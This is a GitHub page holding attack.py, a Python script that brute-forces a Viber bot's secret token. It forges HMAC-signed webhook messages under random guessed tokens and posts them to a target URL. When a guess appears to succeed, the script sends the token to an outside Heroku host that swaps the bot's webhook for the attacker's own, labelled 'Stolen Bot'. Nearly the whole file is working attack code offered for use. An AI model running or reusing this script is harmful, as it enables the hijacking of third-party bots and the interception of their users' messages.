-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathattack.py
More file actions
150 lines (112 loc) · 4.58 KB
/
attack.py
File metadata and controls
150 lines (112 loc) · 4.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
import datetime
import hashlib
import hmac
import json
import logging
import random
from optparse import OptionParser
import requests
LIMIT = 1000 # количество итераций
URL = None # атакуемы ресурс
TOKEN = '4453b6ac12345678-e02c5f12174805f9-daec9cbb5448c51f' # токен инициализации
def read(filename):
with open(filename, mode='r') as fp:
data = json.load(fp)
return data
PATT = 'qwertyuiopasdfghjklzxcvbnm1234567890'
def get_aqq():
tt = ''
for i in range(16):
tt += random.choice(PATT)
return tt
def get_token():
return '{0}-{1}-{2}'.format(get_aqq(), get_aqq(), get_aqq())
def get_message_token():
return random.randint(1000000000000000000, 9999999999999999999)
def get_message_timestamp():
return round(datetime.datetime.now().timestamp() * 1000)
def sign_message(key, message):
return hmac.new(bytes(key.encode('ascii')),
msg=json.dumps(message, sort_keys=False).encode('utf-8'),
digestmod=hashlib.sha256).hexdigest()
def send_message(url, message, signature):
try:
resp = requests.post(
url=url,
headers={
'Content-Type': 'application/json',
'X-Viber-Content-Signature': signature
},
json=message
)
except Exception as error:
logging.error('request error {}'.format(error))
resp = None
return resp
def steal_token(token):
"""
Если удалось перебрать токен бота, то заменяем webhook бота на свой webhook и получаем обновления на своем боте.
"""
body = {
"name": "Stolen Bot",
"avatar": "https://www.python.org/static/opengraph-icon-200x200.png",
"token": token,
"webhook": "https://intense-reaches-70533.herokuapp.com/"
}
try:
resp = requests.post(
url="https://intense-reaches-70533.herokuapp.com/replace_auth_token",
headers={
'Content-Type': 'application/json',
},
json=body
)
except Exception as error:
logging.error('request error {}'.format(error))
resp = None
return resp
def attack(url=URL, limit=LIMIT, token=TOKEN):
while limit > 0:
data = read('data.json')
for i, message in enumerate(data):
message['timestamp'] = get_message_timestamp()
message['message_token'] = get_message_token()
signature = sign_message(token, message)
resp = send_message(url, message, signature)
if resp is not None:
logging.info(
'Num: {0} status code: {1}, token: {2}, resp: {3}'.format(i, resp.status_code, token, resp.content))
# если запрос вернул ответ с кодом отличным от 403 и 500, то можно считать,
# что получилось подобрать токен атакуемого бота, так как на стороне сервера бота,
# бот проверяет подпись своим токеном, если наша сгенерированная подпись совпала
# с подписью бота, то наш токен соответствует токену бота.
if resp.status_code != 403 and resp.status_code != 500:
resp = steal_token(token)
if resp is not None and resp.status_code == 200:
logging.info("Token {} is stolen".format(token))
logging.info("Bot info: {}".format(resp.json()))
limit = 0
break
else:
token = get_token()
limit -= 1
if __name__ == "__main__":
op = OptionParser()
op.add_option("-u", "--url", type=str, default=None)
op.add_option("-l", "--limit", type=int, default=1000)
op.add_option("-t", "--token", type=str, default='')
(opts, args) = op.parse_args()
if opts.url:
URL = opts.url
if opts.limit:
LIMIT = opts.limit
if opts.token:
TOKEN = opts.token
logging.basicConfig(format='[%(asctime)s] %(levelname).1s %(message)s',
datefmt='%Y.%m.%d %H:%M:%S',
filename=None,
filemode='a',
level=logging.INFO)
logging.info('Start attack')
attack(URL, LIMIT, TOKEN)
logging.info('The End')